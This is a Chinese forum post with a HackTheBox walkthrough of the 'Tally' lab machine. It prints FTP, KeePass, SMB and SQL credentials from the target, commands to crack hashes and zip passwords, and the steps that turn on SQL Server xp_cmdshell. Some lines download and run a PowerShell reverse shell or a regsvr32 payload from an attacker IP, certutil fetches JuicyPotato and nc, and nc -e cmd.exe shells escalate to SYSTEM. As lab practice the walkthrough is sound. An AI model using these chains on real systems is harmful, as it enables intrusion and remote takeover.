电脑疯子技术论坛|电脑极客社区

微信扫一扫 分享朋友圈

已有 626 人浏览分享

HTB靶机渗透系列之Tally

[复制链接]
626 0
Tally是一个困难的靶机,知识点涉及SharePoint信息收集、KeePass解密、密码破解、SQL server命令执行
烂土豆内核提权等。感兴趣的同学可以在HackTheBox中进行学习。

1648634304_624429c00106aaccffbf4.png

通关思维导图

1648634306_624429c2762205c70e434.png

0x01 侦查

端口探测

首先通过nmap对目标进行端口扫描

nmap -Pn -p- -sV -sC -A 10.10.10.59 -oA nmap_Tally

3881.png

3384.png

528.png

扫描结果显示目标开放许多端口,包括21、80、81、135、139、445、1433等

80端口

访问http://10.10.10.59,是 SharePoint 应用界面,它是 Microsoft Office 集成的用于文档管
理存储以及共享的web协作平台。

339.png

由于该站点的特殊性,我们可使用专门的 SharePoint 字典进行目录扫描

gobuster dir -u http://10.10.10.59 -w /usr/share/wordlists/SecLists/Discov
ery/Web-Content/CMS/sharepoint.txt

338.png

成功扫描到两个文件:/sitedirectory/_layouts/viewlsts.aspx和/shared documents/forms/allitems.aspx

信息收集

访问viewlsts.aspx,是 SharePoint 的站点文档管理界面。其中包含Documents、Site Assets
Site Pages、Site Library这几个项目目录

337.png

在Documents下查看文件ftp-details,该文件名可说明里面存在ftp的详细内容

336.png

文件内容如下,果不其然拿到主机名、工作组以及密码

hostname: tally
workgroup: htb.local
password: UTDRSCH53c"$6hys
Please create your own user folder upon logging in

在Site Pages下查看Finance Team

335.png

成功在信中找到登陆账号ftp_user

333.png

ftp登陆

既然有了账号密码ftp_user/UTDRSCH53c"$6hys,那么我们可直接登录 ftp 服务

ftp 10.10.10.59
ftp > ls

332.png

在 User 目录中发现多个用户文件夹,其中 Sarah 用户目录下存在 notes.txt

ftp > cd User
ftp > cd Sarah
ftp > get notes.txt

331.png

成功下载 notes.txt,发现提示已完成事项:安装 SharePoint、待办事项:卸载 SQL server 2016

cat notes.txt

330.png

Tim 用户目录下则存在 tim.kdbx,kdbx为 Keepass 数据库,我们可对其进行密码破解

ftp > cd User
ftp > cd Tim
ftp > cd Files
ftp > get tim.kdbx

208.png

KeePass密码破解

使用 keepss2john 将 kdbx 文件转换成可识别的哈希值

keepass2john tim.kdbx > tim.hash

207.png

使用 john 进行哈希破解,但是一直没破解成功

john tim.hash --wordlist=/usr/share/wordlists/rockyou.txt

经过分析后发现原来是使用ftp下载文件时传输会导致部分文件信息丢失在图中可以看到靶机中的原
文件有 2222 bytes,但下载至本地后却只有 2220 bytes

206.png

由于ftp下载出错,因此我们可通过网页的方式将 tim.kdbx 下载至本地

205.png

两者对比后大小发现确实相差 2 bytes

203.png

重新使用 hashcat 进行破解

hashcat  -m 13400 tim.hash /usr/share/wordlists/rockyou.txt

202.png

成功破解密码为simplementeyo,接下来使用 keepass2 打开它,输入密码后按ctrl+h显示其中内容

keepass2 tim.kdbx

201.png

获得smb共享路径为 ACCT,用户名为 Finance,密码为 Acc0unting

0x02 上线[sarah]

smb登陆

使用以上账号密码Finance/Acc0unting借助 smbclient 登录smb服务

smbclient \\\\10.10.10.59\\ACCT -U Finance

200.png

在\zz_Archived\SQL下发现数据库连接配置文件:conn-info.txt

smb > cd zz_Archived
smb > cd SQL
smb > ls
smb > get conn-info.txt

199.png

查看文件后发现确实存在数据库连接信息,根据信息我们可知数据库类型为 SQL server但可惜
的是文本中已提示密码被修改

198.png

db: sa
pass: YE%TJC%&HYbe5Nw

zip密码破解

在\zz_Migration\Backup\20170808\orcharddb\目录下发现zip压缩包文件:orcharddb.zip

116.png

由于下载后无法直接解压,因此需要使用 frackzip 对该zip文件进行密码破解

fcrackzip -D -u -p /usr/share/wordlists/rockyou.txt  orcharddb.zip

115.png

成功破解密码为 Acc0unting,结果发现与登陆密码一致。通过 unzip 输入密码解压该 zip 文件
在解压出来的 sql 文件中发现账号密码为admin/Finance2,但根据之前的提示我们发现其实它是 Orchard CMS
的登陆信息,实际上 Orchard CMS 已经被替换为 SharePoint

unzip orcharddb.zip

113.png

SQL server命令执行

在\zz_Migration\Binaries\New folder\目录中发现exe文件:test.exe

112.png

使用 strings 查看该程序,其中居然存在数据库的账号密码,为sa/GWE3V65#6KFH93@4GWTG2G

strings tester.exe

111.png

使用 spsh 通过以上账号密码连接 SQL server 数据库

sqsh -S 10.10.10.59 -U sa

110.png

开启命令执行 xp_cmdshell

# 查看相关参数
SQL > EXEC SP_CONFIGURE N'show advanced options',1;
SQL > go
SQL > RECONFIGURE;
SQL > go

# 修改xp_cmdshell参数
SQL > EXEC SP_CONFIGURE N'xp_cmdshell',1;
SQL > go
SQL > RECONFIGURE;
SQL > go

通过 xp_cmdshell 查看用户和系统信息

SQL > xp_cmdshell 'whoami'
SQL > go
SQL > xp_cmdshell 'cd c:\ & systeminfo'
SQL > go

109.png

108.png

由于该工具使用太过繁琐,我们可尝试使用 MSF 中的 mssql_exec 模块来进行数据库操作

反弹shell

首先使用 MSF 在本地开启监听

msfconsole
msf > use exploit/multi/script/web_delivery
msf > set target 3
msf > set lhost 10.10.14.3
msf > set srvhost 10.10.14.3
msf > set payload windows/meterpreter/reverse_tcp
msf > exploit

107.png

利用命令模块 mssql_exec 获取反弹shell,但是并没有收到反弹信息

msfconsole
msf > use auxiliary/admin/mssql/mssql_exec
msf > set rhosts 10.10.10.59
msf > set password GWE3V65#6KFH93@4GWTG2G
msf > set cmd "regsvr\3\2 /s /n /u /i:http://10.10.14.3:8080/KZ9S4yvqHdmyO.sct scrobj.dll"
msf > run

106.png

103.png

于是切换 nishang 中的 Invoke-PowerShellTcp.ps1 脚本进行反弹

cp /root/Desktop/nishang/Shells/Invoke-PowerShellTcp.ps1 .

将反弹的地址和端口添加到该脚本下,同时开启 http 服务

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.3 -Port 5555

在本地监听5555端口

nc -nvlp 5555

设置SQL语句使用之前的工具完成命令执行

xp_cmdshell "powershell -c iex(new-object net.webclient).downloadstring
('http://10.10.14.3/Invoke-PowerShellTcp.ps1')"

102.png

成功获取到反弹shell,在当前用户桌面寻找第一个flag

dir C:\Users\Sarah\Desktop
type C:\Users\Sarah\Desktop\user.txt
type C:\Users\Sarah\Desktop\todo.txt

101.png

成功拿到第一个flag,与此同时发现提示信息已完成:安装更新、查看防火墙是否可用;未完成:更新内网设计、更新服务器库存

0x03 权限提升[system]

信息收集

查看系统信息发现目标系统为 Windows Server 2016

systeminfo

100.png

使用 Windows-Exploit-Suggester 查找相关漏洞,但是结果显示无法识别

python windows-exploit-suggester.py --database 2021-05-18-mssb.xls  --systeminfo systeminfo.txt

99.png

烂土豆提权

虽然无法获得内核提权建议,但是老方法 Juicy Potato 还是支持对 Windows Sever 2016 进行提权
具体参考:https://github.com/ohpe/juicy-potato/tree/master/CLSID


在本地开启nc监听

nc -nvlp 7777

传输 nc 和 JuicyPotato 并执行提权命令,结果显示似乎失败:没有权限进入

cd c:\windows\temp
certutil.exe -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\WINDOWS\TEMP\JuicyPotato.exe

certutil.exe -urlcache -f http://10.10.14.3/nc.exe C:\WINDOWS\TEMP\nc.exe
C:\WINDOWS\TEMP\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\WINDOW
S\TEMP\nc.exe -e cmd.exe 10.10.14.3 7777" -t *

96.png

于是切换到C:\users\public目录下再次执行

cd C:\users\public
certutil.exe -urlcache -f http://10.10.14.3/JuicyPotato.exe C:\users\public\JuicyPotato.exe

certutil.exe -urlcache -f http://10.10.14.3/nc.exe C:\users\public\nc.exe
C:\users\public\JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c C:\users\pu
blic\nc.exe -e cmd.exe 10.10.14.3 7777" -t *

39.png

QQ截图20220801150031.png

执行后成功拿到反弹shell,在管理员桌面上寻找第二个flag

dir C:\Users\Administrator\Desktop

type C:\Users\Administrator\Desktop\root.txt

00.png

成功拿到第二个flag

总结

在站点SharePoint中存在信息泄漏:文件中包含ftp账号和密码,通过该账号密码登陆ftp服务,在其中发现kdbx文件和
提示信息在使用ftp传输kdbx文件时出现问题,使用http协议下载该文件。使用hashcat破解KeePass密码,在kdbx数据
库中发现存储的账号密码。通过该账号密码登陆smb服务,smb中包含许多干扰项:数据库连接文件、zip压缩文件拿到
的敏感信息都根据提示信息发现已无用。而突破点则是test.exe文件,通过string命令发现程序中内置数据库账号密码这
和CTF中的misc题型这么相似?通过拿到的数据库账号密码登陆SQL server,借助xp_cmdshell命令执行拿到反弹shell
在靶机中经过信息收集发现靶机系统为Windows Server 2016,使用内核漏洞查询无果,尝试烂土豆可成功将权限提升
至系统权限。

您需要登录后才可以回帖 登录 | 注册

本版积分规则

1

关注

0

粉丝

9021

主题
精彩推荐
热门资讯
网友晒图
图文推荐

Powered by Pcgho! X3.4

© 2008-2022 Pcgho Inc.